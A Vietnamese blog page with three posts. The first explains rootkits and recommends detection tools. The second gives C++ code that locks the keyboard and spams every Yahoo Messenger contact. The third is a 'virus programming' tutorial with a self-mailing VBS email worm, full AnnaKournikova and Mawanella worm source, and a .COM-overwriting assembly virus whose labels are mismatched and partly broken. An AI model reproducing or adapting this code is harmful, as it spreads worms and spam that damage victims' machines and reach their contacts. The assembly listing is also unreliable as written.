Thứ Năm, 11 tháng 3, 2010

Tìm Hiểu Về Rootkit

Posted by Unknown Thứ Năm, tháng 3 11, 2010, under | No comments


1. Định nghĩa:

Rootkit /ru:tkit/ là bộ công cụ phần mềm che giấu sự tồn tại file nhưng thực ra nó vẫn hoạt động. Rootkit thường được bên thứ ba (thường là kẻ xâm nhập) dùng sau khi chiếm được quyền truy cập vào hệ thống máy tính. Các công cụ này thường nhằm để che dấu dữ liệu hệ thống, tập tin hoặc tiến trình đang chạy, từ đó giúp cho kẻ xâm nhập duy trì quyền truy cập vào hệ thống mà người dùng không biết. Rootkit có ở nhiều loại hệ điều hành như Linux, Solaris và các phiên bản Microsoft Windows. Một máy tính bị cài rootkit được gọi là bị "chiếm quyền root" ("rooted" trong tiếng Anh).

Thuật ngữ "rootkit" (còn được viết là "root kit") lúc đầu được dùng để chỉ một bộ công cụ Unix được biên dịch lại như "ps", "netstat", "w" and "passwd" có thể che dấu kĩ lưỡng vết tích của kẻ xâm nhập mà bình thường sẽ bị hiển thị bởi các lệnh trên, vì vậy nó cho phép kẻ xâm nhập duy trì quyền "root" ("siêu người dùng") trên hệ thống mà ngay cả người quản trị hệ thống cũng không thể thấy họ.

Ngày nay thuật ngữ này không chỉ giới hạn ở các hệ điều hành dựa trên Unix mà còn được dùng để chỉ các công cụ thực hiện tác vụ tương tự trên hệ điều hành không Unix như Microsoft Windows (ngay cả khi hệ điều hành đó không có tài khoản "root").

Từ "rootkit" trở nên phổ biến khi có cuộc tranh luận về chống sao chép CD Sony 2005, trong đó các đĩa CD nhạc của Sony BMG cài một toolkit vào các PC chạy Microsoft Windows.

2. Sự nguy hiểm của Rootkit


Đặc điểm của rootkit là có khả năng ẩn các tiến trình, file và cả dữ liệu trong registry (với Windows), nếu dùng những công cụ của hệ điều hành như: "Registry Editor", "Task Manager", "Find Files" thì không thể phát hiện, có khả năng ghi lại các thông số về kết nối mạng và các kết nối mạng được tạo ra bởi các chương trình sử dụng Rootkit sẽ hoàn toàn vô hình trước câu lệnh Netstat. Thực sự bản thân Rootkit không có gì nguy hại tuy nhiên, khi Rootkit được sử dụng để giấu các đoạn mã hiểm độc thì rất nguy hiểm. Một số các worm, virus, trojan và spyware có khả năng duy trì hoạt động và không bị phát hiện khi sử dụng Rootkit. Các malware sẽ không bị phát hiện thậm chí khi hệ thống được bảo vệ bởi các chương trình chống virus tốt nhất. Do đó, Rootkit thực sự là mối đe dọa rất nghiêm trọng.

Khi hay tin CD nhạc của Sony cài đặt rookit để giấu file chống sao chép xuất hiện, giới tin tặc nhanh chóng khai thác ứng dụng của Sony. Phần mềm của Sony giấu bất kỳ file hay tiến trình bắt đầu với "$sys$", những kẻ viết phần mềm độc hại đã đổi tên file để lợi dụng đặc điểm này .

Nhà sản xuất phần mềm chống virus ở Tây Ban Nha là Panda Software cho biết họ đang tìm biến thể của sâu Bagle cực kỳ độc hại có trang bị khả năng của rootkit. Trầm trọng hơn, những kẻ tạo phần mềm rootkit còn bán hoặc phát tán miễn phí các công cụ, giúp những kẻ viết phần mềm độc hại dễ dàng bổ sung chức năng rootkit cho các virus cũ như Bagle hay tạo loại mới.

Thậm chí khi sử dụng những rootkit có sẵn, tin tặc cũng có thể tạo những biến thể mới. Ví dụ, công ty phần mềm bảo mật eEye phát hiện rootkit cho phép ẩn các file trong boot sector của đĩa cứng. Rootkit có thể giấu mã chương trình phá hoại trong BIOS của PC bằng cách dùng các chức năng cấu hình trong Advanced Configuration và tính năng Power Interface.

Một dự án do Microsoft và các nhà nghiên cứu của đại học Michigan thực hiện thật sự mở đường cho nghiên cứu rootkit, tạo ra một phương thức mới gần như "đặt" HĐH chạy trên phần mềm có tên SubVirt (tên của dự án nghiên cứu). HĐH vẫn làm việc bình thường, nhưng "máy ảo" điều khiển mọi thứ HĐH nhìn thấy và có thể dễ dàng giấu chính nó. Kỹ thuật này không dễ thực hiện và người dùng dễ nhận ra vì làm chậm hệ thống và làm thay đổi những file nhất định. Joanna Rutkowska - một chuyên gia nghiên cứu công nghệ "ẩn mình" phần mềm độc hại tại hãng bảo mật COSEINC có trụ sở tại Singapore tiếp tục phát triển thêm kĩ thuật này. Công nghệ mới Blue Pill sử dụng công nghệ ảo hoá SVM/Pacifica của AMD có thể giúp tạo ra một phần mềm cực nhỏ nhưng có khả năng kiểm soát toàn bộ hệ điều hành và không thể bị phát hiện. "Ý tưởng của Blue Pill là rất đơn giản: Hệ điều hành của bạn nuốt một Blue Pill và nó sẽ hoạt động trong một Matrix (ma trận) được điều khiển bằng một Blue Pill Hypervisor cực nhỏ. Điều này xảy ra trực tiếp khi hệ điều hành đang vận hành, không gây ảnh hưởng đến các thiết bị khác." . Blue Pill không hề dựa trên bất kỳ lỗi nào tồn tại trong hệ điều hành mà nó dựa vào một giải pháp động "generic method" để chèn một số mã nhị phân vào trong nhân Vista Beta 2 (x64 edition) mà không sinh ra bất kỳ một lỗi nào. Tuy nhiên, chuyên gia này cũng khẳng định Blue Pill có thể bị phát hiện nếu công nghệ Pacifica của AMD mắc lỗi.

Một điều chắc chắn là rootkit vẫn là kĩ thuật còn đang phát triển. Bản báo cáo mới nhất của McAfee cho biết tính phức tạp của các rootkit đang phát triển ở một tốc độ dị thường. Chỉ trong 5 năm số lượng bộ phận cấu thành rootkit đã tăng từ 27 lên tới 2.400. Và trong thời gian sắp tới sẽ còn tăng lên đáng kể. Khó ai có thể dự đoán được sự nguy hiểm tiềm tàng của rootkit trong tương lai.

3. Phân loại và phương thức hoạt động của Rootkit

Có nhiều tiêu chí phân loại Rootkit. Trong bài này chúng ta sẽ phân loại Rootkit theo 2 tiêu chí

- Phân loại theo thời gian tồn tại: chia làm hai loại

Rootkit bám dai (Persistent Rootkits)
Persistent root kit là một loại rootkit kết hợp với các malware khác hoạt động mỗi khi hệ thống khởi động. Bởi vì các malware chứa mã phá hoại sẽ được thực thi tự động mỗi khi hệ thống khởi động hoặc khi người sử dụng đăng nhập vào hệ thống. Chúng cần phải lưu trữ các đoạn mã thực thi chương trình trong Registry, các tập tin hệ thống và các phương pháp cho phép âm thầm chạy các đoạn mã mà người sử dụng không hay biết

Rootkit trên bộ nhớ (Memory-Based Rootkits )
Loại rootkit này chính là các malware không có những đoạn mã "dai dẳng" - chỉ lưu trong bộ nhớ, chính vì thế loại rootkit này không tồn tại sau khi khởi động lại máy.

- Phân loại dựa trên mức độ xâm nhập hệ thống: chia làm hai loại

Rootkit chế độ người dùng (User-mode Rootkits)
Những rootkit này sẽ sửa (chỉnh) những process đang chạy trong bộ nhớ và qua đó nhận được những thông tin cần thiết.

Rootkit ở chế độ người dùng sử dụng nhiều phương pháp khác nhau để lẩn trốn không bị phát hiện. Ví dụ: rootkit ở chế độ người dùng sẽ chặn tất cả các hàm gọi hệ thống API (Application Programming Interface - Giao tiếp lập trình ứng dụng - cung cấp giao tiếp (interface) giữa chế độ người dùng và dịch vụ hệ thống) như: FindFirstFile/FindNextFile hay như để Task Manager của Windows có thể hiện ra danh sách các tiến trình đang chạy, nó sẽ gọi một hàm Windows API (EnumProcesses) và nhận về danh sách các ID tiến trình được lấy từ một cấu trúc dữ liệu của kernel. Những hàm này còn được gọi bởi các chương trình quản lý tập tin của Windows như Explorer để liệt kê toàn bộ các thư mục tập tin hệ thống. Khi một ứng dụng thực thi liệt kê danh sách thư mục và các tập tin có thể chứa rootkit, các rootkit này sẽ chặn các hàm này và thay đổi các kết quả dữ liệu đầu ra nhằm loại bỏ các tập tin chứa rootkit khỏi danh sách liệt kê.

Những rootkit ở chế độ người dùng phức tạp hơn sẽ chặn các tập tin hệ thống, Registry, và các hàm liệt kê các tiến trình (process) từ các hàm API hệ thống. Các kết nối mạng có thể được giấu bằng những phương pháp tương tự nhau bằng cách thay đổi kết quả của những lời gọi hàm tương ứng. Vì hầu hết các trình diệt virus và chống phần mềm gián điệp đều dựa vào những lời gọi hàm này (như lời gọi hàm tìm kiếm file để quét), khi đó những file được các rootkit che giấu sẽ trở nên vô hình với những trình diệt virus này. Máy tính có thể bị vẫn lây nhiễm nhưng trình diệt virus lại không thể phát hiện ra.

Rootkit chế độ nhân (Kernel-mode Rootkits)
Rootkit chế độ nhân nguy hiểm hơn các loại trên, chúng không chỉ chặn các hàm API hệ thống mà còn có thể thao tác trực tiếp các cấu trúc dữ liệu trong chế độ nhân. Các rootkit chế độ kernel thì cần phải có thêm một số đoạn mã để có thể được nạp vào kernel (thường là một trình điều khiển thiết bị hoặc một file .sys). Để đạt được mục đích này, chúng có thể theo trình tự hợp lệ mà các trình điều khiển thiết bị mức thấp vẫn dùng (thông qua trình quản lý điều khiển dịch vụ services.exe). Ngoài ra cũng còn một số phương pháp bất thành văn khác để chèn mã vào kernel. Một khi đã vào được trong HĐH, đoạn mã có thể chỉnh sửa các kết quả trả về từ lời gọi hàm bên trong lõi hoặc chỉnh sửa chính các cấu trúc lõi HĐH. Một kĩ thuật chung cho việc ẩn nấp các tiến trình malware là loại bỏ các tiến trình này ra khỏi danh sách các tiến trình ở chế độ nhân. Bởi vì các hàm API quản lý các tiến trình đều phải phụ thuộc vào nội dung trong các cấu trúc dữ liệu này, nên khi rootkit thay đổi nội dung cấu trúc dữ liệu hệ thống thì các công cụ như Task Manager hoặc Process Explorer cũng không thể phát hiện được.

Một ví dụ: Rootkits copy một bản sao của chúng với tên malware.exe và spy.dll cũng như một phần của chúng vào một thư mục. Sau đó chúng sẽ sửa (chỉnh) lại kernel để những thành phần chúng vừa copy không bị phát hiện nữa (cả với windows-explorer lẫn một chương trình filemanager bất kỳ. Chúng hoàn toàn “tàng hình” và dưới cái lốt đó chúng có thể làm bất cứ một điều gì đó có hại đến hệ thống của bạn.

4. Làm thế nào để Rootkit đột nhập vào hệ thống?
Như đã nói là Rookits có nhiệm vụ chính là che dấu những chương trình phá hoại. Chúng không có những đoạn code đặc biệt để có thể tự nhân bản và phát tán. Thực sự thì Rootkit phát tán cùng với những chương trình phá hoại có kèm theo nó (thông qua những lỗ hổng hệ thống của windows và những chương trình sử dụng). Kỹ thuật được sử dụng nhiều nhất trước kia là qua đường thư điện tử. Tuy nhiên hiện nay thì rất nhiều kĩ thuật tinh vi được hacker sử dụng để phán tán.
Một phần lớn những rootkits được bán trên mạng dưới dạng mã nguồn. Phần lớn những chương trình spyware đều sử dụng phương thức hoạt động của Rootkit. Qua đó, những spyware này sẽ hoạt động trên máy của người sử dụng mà không bị phát hiện và cuối cùng là chúng có thể kiếm được tiền nhờ những thông tin thu thập được trên máy người sử dụng.
Bằng kỹ thuật của Rootkit, có rất nhiều trojan đã được phát tán. Những trojan này biến máy bạn thành một bộ máy có thể điều khiển từ xa và người điều khiển chúng có thể dùng máy bạn để phát tán Spam hoặc lạm dụng máy bạn để làm những chuyện khác.

5. Làm thế nào để phát hiện ra Rootkit
Có hai cách chính để phát hiện một rootkit trên máy bị nhiễm: quét và theo dõi các sự kiện. Kĩ thuật quét sử dụng phương pháp so sánh cách nhìn của hệ thống sử dụng các công cụ mức người dùng với cách nhìn từ bên trong lõi HĐH. Nếu có dấu hiệu che giấu nào, thành phần đó phải hiện lên bên trong lõi chứ không phải ở màn hình người dùng. Gần đây đã có khá nhiều chương trình có thể đảm nhiệm chức năng quét này.

Về mặt lý thuyết thì phương pháp này là rất tốt – rootkit giấu các tài nguyên hệ thống, vậy cách tốt nhất để phát hiện rootkit là tìm kiếm những gì bị che giấu. Tuy nhiên vẫn có một vài nhược điểm. Nhược điểm đầu tiên là nếu bản thân HĐH đã có lỗi thì việc quét cũng có thể bị chính rootkit qua mặt. Khả năng xảy ra nguy cơ này phụ thuộc vào cụ thể quá trình quét và bản thân rootkit được thực thi như thế nào. Thường thì lõi HĐH Windows không được mô tả công khai cho nên rất khó đảm bảo tiến trình quét đạt kết quả chính xác. Hơn nữa, rootkit có thể tránh bị phát hiện bằng cách che giấu tất cả các tiến trình ngoại trừ chính tiến trình phát hiện rootkit.

Một cách khác là sử dụng một hệ thống hoạt động dựa trên các sự kiện liên tục theo dõi để có thể nắm được rootkit vào thời điểm nó tiến hành tác vụ cài đặt. Những chương trình như thế thường được gọi là hệ thống chống xâm nhập (IPS). Việc theo dõi từ phía HĐH là rất cần thiết. Các hệ thống IPS theo dõi ở mức người dùng thực ra cũng vẫn có thể bị rootkit tấn công như chính những chương trình khác của người dùng.

Những hệ thống này có thể phát hiện và khóa những tác vụ nạp các module của HĐH. Tuy nhiên việc khóa hết các module lại là một điều phi thực tế - nhiều chương trình hợp lệ khác cũng sẽ tiến hành cài đặt các module lõi. Ví dụ, một số trình diệt virus sử dụng các module lõi để thực hiện tác vụ quét theo yêu cầu.

Vẫn có thể đưa ra một giải pháp hay hơn là tính thêm khả năng cân nhắc liệu việc nạp một module có phải là xấu hay không bằng cách xem xét các thuộc tính khác của bộ cài đặt cùng những chương trình liên quan. Trong khi một rootkit và một trình duyệt virus có thể có chung một số tác vụ (như cài đặt một module lõi) thì phần lớn những đặc tính khác của chúng lại hoàn toàn không giống nhau.

Ví dụ, một rootkit có thể cố gắng “lánh mặt” bằng cách không tạo ra cửa sổ trực quan, trong khi một trình diệt virus lại muốn cho người dùng biết sự hiện diện của chương trình. Trình rootkit cũng có thể cài một keylogger (bắt bàn phím và gửi thông tin tới một người dùng khác) còn một chương trình diệt virus thì hoàn toàn không làm thế. Bằng cách tổng hợp các đặc tính hành động khác nhau (được lựa chọn cẩn thận để có thể bắt được những thao tác chung liên quan tới phần mềm mục đích xấu), việc phát hiện những chương trình rootkit là hoàn toàn có thể thực hiện được với độ tin tưởng cao. Thực tế, phương pháp này có tên “đánh giá qua hành động” và có thể được áp dụng rộng rãi để phát hiện những lớp mã mục đích xấu như Trojan hay phần mềm gián điệp.

Vì dựa trên nguyên lý đánh giá, tích lũy kinh nghiệm, hệ thống kiểu này có thể vẫn mắc lỗi (coi những chương trình bình thường là phần mềm xấu). Cách giải quyết đơn giản với vấn đề này là cần phải có danh sách cấm cho những lỗi chung thường gặp.


Xin giới thiệu các chương trình phát hiện rootkit sử dụng các kĩ thuật đặc biệt để tóm những kẻ xâm nhập nguy hiểm này.

Hầu hết các chương trình dùng phát hiện rootkit đòi hỏi người dùng có biết chút ít về kĩ thuật. Tuy nhiên, có hai chương trình dễ sử dụng nhất cũng là hai chương trình hiệu quả nhất.

- Chương trình đầu tiên là Panda Anti-Rootkit tải về tại http://www.pandasoftware.com/products/antirootkit/.

Đây là chương trình miễn phí, tương thích Windows 2K, XP, có dung lượng 353KB. Panda Anti-Rootkit là phần mềm dành cho người dùng thông thường, không chỉ có khả năng phát hiện mà còn giúp loại bỏ rootkit khá hiệu quả.

Panda Anti-Rootkit có dung lượng nhỏ, không cần cài đặt mặc dầu bạn phải đăng ký tại website của Panda trước khi tải xuống. Chúng tôi đề nghị bạn nên tải về sản phẩm này và tiến hành thao tác quét máy tính.

Nếu không tải được từ website Panda, bạn có thể sử dụng đường link sau http://www.majorgeeks.com/Panda_Anti-Rootkit_d5457.html

- Chương trình thứ hai mà chúng tôi đề nghị bạn nên sử dụng là BlackLight http://www.f-secure.com/blacklight/. Panda Anti-Rootkit và BlackLight có khả năng phát hiện hầu hết các rootkit mà các chương trình chống virus bỏ qua. Tuy nhiên cả hai đều không phải là chương trình thực sự hoàn hảo nên tốt nhất là bạn nên dùng cả hai chương trình.

- Nếu bạn là người sử dụng máy tính có kinh nghiệm, bạn nên thử dùng RootkitRevealer của SysInternals tải về tại http://www.microsoft.com/technet/sys...tRevealer.mspx. Phần mềm này có dung lượng 231KB, là bản shareware (dùng chung), chạy trên tất cả các phiên bản Windows. Chương trình này sử dụng kĩ thuật khác hoàn toàn với Panda Anti-Rootkit và BlackLight, vì thế bạn nên sử dụng cả 3 chương trình để có năng lực tối đa trong việc tìm diệt rootkit trên máy tính.

- Người dùng kinh nghiệm cũng nên dùng GMER (http://www.gmer.net/, miễn phí, chạy trên Windows NT/ 2K/XP/Vista, dung lượng 450KB. Bạn nên đọc tài liệu hướng dẫn kĩ càng trước khi sử dụng. Sản phẩm này rất tốt nhưng không phải dành cho tất cả mọi người. Do đó, nếu bạn là người khoái nhấn nút "scan" thì nên dùng Panda Anti-Rootkit hoặc BlackLight )

- Hiện nay hai trong số những phần mềm mạnh mẽ nhất trong cuộc chiến phát hiện rootkit là các sản phẩm có nguồn gốc Trung Quốc IceSword (http://majorgeeks.com/Icesword_d5199.html, miễn phí, tương thích Windows NT/2K/XP, dung lượng 2.1MB) và DarkSpy (http://www.softpedia.com/get/Antivir...-Rootkit.shtml, miễn phí, chạy trên Windows 2K/XP/2003, dung lượng 626KB). Các chương trình này có công cụ giúp "điểm mặt" rootkit.

Phương Thức Spam Và Phát Tán Virus Trong Yahoo Messenger

Posted by Unknown Thứ Năm, tháng 3 11, 2010, under | No comments

Giới thệu với các bạn phương thức Spam và phát tán virus trong yahoo messenger bằng lập trình c++, nó rất là đơn giản và dể hiểu, sữ dùng hàm API keybd_event là chủ yếu. Sau đây mô tả sơ lược về hàm keybd_event :
+ Cấu trúc : VOID keybd_event(
BYTE
bVk, // virtual-key code
BYTE bScan, // hardware scan code
DWORD dwFlags, // flags specifying various function options
DWORD dwExtraInfo // additional data associated with keystroke
);
+ Thông số :
bVk : mã phím ảo của phím cần tạo sự kiện hoặc nhả.
bScan : để dành lập thành 0.
dwFlags : kết hơp các cờ sau để định rõ hình thức nhập bàn phím để tổng hơp, KEYEVENTF_EXTENDEDKEY là thêm tiếp đầu ngữ có giá trị &HE0 vào mả quét, KEYEVENTF_KEYUP là phím xác định bằng tham số bVk đang được nhả ra. Nếu cờ này không được chỉ rõ thì phím đang được ấn xuống
dwExtraInfo : Một giá tr phụ 32 bit tương ứng với sự kiện bàn phím
Xem ví dụ sau đây để hiểu cách dụng hàm keybd_event :
#include "stdafx.h"
#include "Winable.h"
#include "windows.h"
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{

// Bước đầu tiên tìm xem có yahoo messenger đang run không HWND YahooM;
YahooM = FindWindow("YahooBuddyMain",NULL);
if (YahooM != NULL) // nếu tồn tại, ta thực hiện các bước sau{
BlockInput(1); khoá bàn phím
ShowWindow(YahooM,SW_RESTORE); //hiện yahoo Messenger trên nền background SetForegroundWindow(YahooM);
// Tiếp theo ta Lấy danh sách các nick trong list yahoo
keybd_event(VK_CONTROL,NULL,NULL,NULL);
keybd_event(77,NULL,NULL,NULL);
keybd_event(77,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(VK_CONTROL,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(VK_DOWN,NULL,NULL,NULL);
keybd_event(VK_DOWN,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(VK_SHIFT,NULL,NULL,NULL);
keybd_event(VK_END,NULL,KEYEVENTF_EXTENDEDKEY,NULL);
keybd_event(VK_END,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(VK_SHIFT,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(13,NULL,NULL,NULL);
keybd_event(13,NULL,KEYEVENTF_KEYUP,NULL);
HGLOBAL hText;
OpenClipboard(0);
EmptyClipboard();
char pText[100]="welcome to toanthang.spaces.live.com"; // ví dụ nội dung cần Spam hText=GlobalAlloc(GMEM_DDESHARE|GMEM_MOVEABLE,strlen(pText)+1);

char *pstr=(char *)GlobalLock((hText));
strcpy(pstr,pText);
GlobalUnlock(hText);

SetClipboardData(CF_TEXT,hText); //đặt nội dung vào bộ nhớ
//Sau đó Send nội dung cần Spam cho tất cả các nick trong list yahoo messenger keybd_event(VK_CONTROL,NULL,NULL,NULL);
keybd_event(86,NULL,NULL,NULL);
keybd_event(86,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(VK_CONTROL,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(13,NULL,NULL,NULL);
keybd_event(13,NULL,KEYEVENTF_KEYUP,NULL);
// Bước tiếp theo tạo nội dung Spam trong Status cua Yahoo Messener keybd_event(VK_MENU,NULL,NULL,NULL);
keybd_event(77,NULL,NULL,NULL);
keybd_event(77,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(VK_MENU,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(77,NULL,NULL,NULL);
keybd_event(77,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(77,NULL,NULL,NULL);
keybd_event(77,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(VK_CONTROL,NULL,NULL,NULL);
keybd_event(86,NULL,NULL,NULL);
keybd_event(86,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(VK_CONTROL,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(13,NULL,NULL,NULL);
keybd_event(13,NULL,KEYEVENTF_KEYUP,NULL);
CloseClipboard();
GlobalUnlock(hText);
}
BlockInput(0);
return 0;
}

Lập Trình Virus

Posted by Unknown Thứ Năm, tháng 3 11, 2010, under | No comments

Trước tiên tôi nói về cách làm thế nào để viết một Email-Worn bằng Visual BasicScript:Việc sử dụng VBS để viết virus có thể nói là khá phổ biến, điển hình như virus loveletter,Anakournikova,mawanella ..
Ở đây tôi chỉ phân tích chi tiết về mã nguồn có chức năng là làm lây lan virus , còn tác dụng (đối với người code virus) và tác hại đối với vixtim như thế nào là tùy vào mỗi virus)
——————-source code————-
On Error Resume Next
Dim x
Set so=CreateObject(”Scripting.FileSystemObject”)
so.GetFile(WScript.ScriptFullName).Copy(”C:\virusn ame.vbs”)
Set ol=CreateObject(”Outlook.Application”)
For x=1 To 50
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace(”MAPI”).AddressLists(1).Ad dressEntries(x)
Mail.Subject=”Tiêu đề của thư”
Mail.Body=”nội dung thư”
Mail.Attachments.Add(”C:\virusname.vbs”)
Mail.Send
Next
ol.Quit
———————————–
Với những người đã quen với lập trình VB thì không khó để hiểu đoạn mã này.
Đầu tiên nó sẽ tìm trong AddressBook của victim ,ở đây biến x chạy từ 1 đến 50 tương ứng với việc
Nó sẽ tìm 50 địa chỉ trong Address list, và gửi mail đến các địa chỉ đó với tiêu đề và nội dung cho trước
Và nó sẽ đính kèm chính nó vào bức thư đó, như vậy khi victim click vào nó sẽ hoạt động, cứ như vạy mà lây lan.
Để tìm hiểu thêm các bạn có thể xem mã nguồn của virus AnnaKournikova dưới đây, bạn có thể thấy ở hàm OutLook của virus AnnaKournikova cũng sử dụng cách thức gần giống với đoạn mã phía trên.Đối với virus *.vbs thì chỉ cần code mã nguồn bằng notepad rồi save as *.vbs là xong. Và cách thức vô hiệu hóa virus dạng này (chỉ là tạm thời trước khi có trình diệt virus cần thiết) là bỏ window ScriptingHost (theo bài viết bên PcleHoan).Trong phần tùy chọn các mục cài đặt của windows. Tôi nói đây chỉ là tạm thời bời vì mặc dù có thể nói bằng cách này virus không còn môi trường để hoạt động nhưng một số ứng dụng khác cũng không hoạt động ví dụ như bạn sẽ gặp trục trặc trong việc hiển thị Desktop,explorer theo kiểu As Web Page.. Vậ nên cách tốt nhất vẫn là cập nhật chương trình diệt virus thường xuyên.
//*****Decrypted Code******
‘Vbs.OnTheFly Created By OnTheFly //L@/\/\3R who released the worm
On Error Resume Next
Set ws = CreateObject(”WScript.Shell”)
//says “Worm made with VBSwg 1.50b”: another pitfall
ws.regwrite “HKCU\software\OnTheFly\”, Chr(87) & Chr(111) & Chr(114) &
Chr(109) & Chr(32) & Chr(109) & Chr(97) & Chr(100) & Chr(101) & Chr(32) &
Chr(119) & Chr(105) & Chr(116) & Chr(104) & Chr(32) & Chr(86) & Chr(98) &
Chr(115) & Chr(119) & Chr(103) & Chr(32) & Chr(49) & Chr(46) & Chr(53) &
Chr(48) & Chr(98)
Set fso= Createobject(”scripting.filesystemobject”)
fso.copyfile wscript.scriptfullname,fso.GetSpecialFolder(0)&
“\AnnaKournikova.jpg.vbs”
if ws.regread (”HKCU\software\OnTheFly\mailed”) <> “1″ then
Outlook()
end if
//Red Herring? Maybe, but NL *might* be the origin of the worm
if month(now) =1 and day(now) = 26 then
ws.run “Http://www.dynabyte.nl”,3,false
end if
//The following section could be an anti-deletion technique
Set AnnaKournikova = fso.opentextfile(wscript.scriptfullname, 1)
SourceCode = AnnaKournikova.readall
AnnaKournikova.Close
Do
If Not (fso.fileexists(wscript.scriptfullname)) Then
Set AnnaKournikova = fso.createtextfile(wscript.scriptfullname, True)
AnnaKournikova.write SourceCode
AnnaKournikova.Close
End If
Loop
Function Outlook()
On Error Resume Next
Set OutlookApp = CreateObject(”Outlook.Application”)
If OutlookApp= “Outlook”Then
Set Mapi=OutlookApp.GetNameSpace(”MAPI”)
Set MapiAdList= Mapi.AddressLists
For Each Address In MapiAdList
If Address.AddressEntries.Count <> 0 Then
NumOfContacts = Address.AddressEntries.Count
//Get a list of contacts
For ContactNumber = 1 To NumOfContacts
Set EmailItem = OutlookApp.CreateItem(0)
Set ContactNumber = Address.AddressEntries(ContactNumber)
EmailItem.To = ContactNumber.Address
EmailItem.Subject = “Here you have, ;o)”
EmailItem.Body = “Hi:” & vbcrlf & “Check This!” & vbcrlf & “”
set EmailAttachment=EmailItem.Attachments
EmailAttachment.Add fso.GetSpecialFolder(0)& “\AnnaKournikova.jpg.vbs”
EmailItem.DeleteAfterSubmit = True
//Send the thing
If EmailItem.To <> “” Then
EmailItem.Send
ws.regwrite “HKCU\software\OnTheFly\mailed”, “1″
End If
Next
End If
Next
end if
End Function
‘Vbswg 1.50b
Ở mã nguồn của virus AnnaKournikova bạn có thể thấy một số chỗ sử dụng Chr(x) đó là cách thay vì viết bằng các ký tự ASCII nó sử dụng hàm Chr để tránh việc bị các trình diệt virus phát hiện.Trong hacking thì chắc các bạn thấy một số trường hợp có sử dụng Chr(x) để thay cho các dấu /,%,\. (tất nhiên là không phải để tránh các trình diệt virus) Còn đây là mã nguồn của mawanella:
————————————–source code—————-
‘ Mawanella Worm
‘ Decrypted by MrBrownstone
On Error ResumeNext
Rem // I hate Mawanella incident
Set W_S = CreateObject(”WScript.Shell”)
Set fso = CreateObject(”Scripting.FileSystemObject”)
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr, strMsg
set wscr=CreateObject(”WScript.Shell”)
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set cFile = fso.GetFile(WScript.ScriptFullName)
cFile.Copy(dirsystem&”\Mawanella.vbs”)
Set OutlookA = CreateObject(”Outlook.Application”)
If OutlookA = “Outlook” Then
Set Mapi=OutlookA.GetNameSpace(”MAPI”)
Set AddLists=Mapi.AddressLists
For Each ListIndex In AddLists
If ListIndex.AddressEntries.Count <> 0 Then
ContactCountX = ListIndex.AddressEntries.Count
For Count= 1 To ContactCountX
Set MailX = OutlookA.CreateItem(0)
Set ContactX = ListIndex.AddressEntries(Count)
‘msgbox contactx.address
‘Mailx.Recipients.Add(ContactX.Address)
MailX.To = ContactX.Address
MailX.Subject = “Mawanella”
MailX.Body = vbcrlf&”Mawanella is one of the Sri Lanka’s Muslim Village”&vbcrlf
‘Set Attachment=MailX.Attachments
‘Attachment.Add dirsystem & “\Mawanella.vbs”
‘Mailx.Attachments.Add(dirsystem & “\Mawanella.vbs”)
Mailx.Attachments.Add(dirsystem & “\Mawanella.vbs”)
MailX.DeleteAfterSubmit = True
If MailX.To <> “” Then
MailX.Send
End If
Next
End If
Next
Else
msgBox “Please Forward this to everyone”
End if
strMsg= ” ) (” & vbcrlf
strMsg= strMsg & “( ) ( ) ” & vbcrlf
strMsg= strMsg & ” ( ) ( )” & vbcrlf
strMsg= strMsg & ” ( ) ( )” & vbcrlf
strMsg= strMsg & ” ————————-” & vbcrlf
strMsg= strMsg & ” / ( ( ( /\” & vbcrlf
strMsg= strMsg & ” / ( / \” & vbcrlf
strMsg= strMsg & ” / ( ( / \” & vbcrlf
strMsg= strMsg & ” ——————————–” & vbcrlf
strMsg= strMsg & ” | — | |” & vbcrlf
strMsg= strMsg & ” | —– | | | |” & vbcrlf
strMsg= strMsg & ” | | | — | |” & vbcrlf
strMsg= strMsg & ” | | | | |” & vbcrlf
strMsg= strMsg & ” ——————————–” & vbcrlf
strMsg= strMsg & “Mawanella is one of the Sri Lanka’s Muslim Village.” & vbcrlf
strMsg= strMsg & “This brutal incident happened here 2 Muslim Mosques & 100 Shops are burnt.” & vbcrlf
strMsg= strMsg & “I hat this incident, What about you? I can destroy your computer” & vbcrlf
strMsg= strMsg & “I didn’t do that because I am a peace-loving citizen.”
msgbox strMsg,,”Mawanella”
End sub
—————————————————————-
Ở phần sau tôi sẽ hướng dẫn các bạn cách viết một virus đơn giản bằng Asm. Tất nhiên là đỏi hỏi phải biết một ít về Asm.
VIẾT MỘT VIRUS GHI ĐÈ LÊN FILE *.COM BẰNG ASM
(Sử dụng tài liệu của nhóm Code Breaker)
Trước tiên hãy xem đoạn mã của virus:
code segment
assume cs:code,ds:code
org 100h
virus proc near
first_file:
mov ah,4eh
tim_file:
xor cx,cx
lea dx,comsig
int 21h
jc ketthuc
mo_file:
mov ax,3d02h
mov dx,9eh
int 21h
nhiem_file:
xchg bx,ax
mov ah,40h
mov cx,offset horny – offset first_fly
lea dx,first_fly
int 21h
stitch_up:
mov ah,3eh
int 21h
mov ah,4fh
jmp find_fly
ketthuc:
mov ah,09h
mov dx,offset wart
int 21h
cya: int 20h
comsig db “*.com”,0
msgadd db ‘Congratulations! You have infected all the COM files
in this ‘,10,13
db ‘directory . Have a
nice day.’,10,13,’$’
horny label near
virus endp
code ends
end first_fly
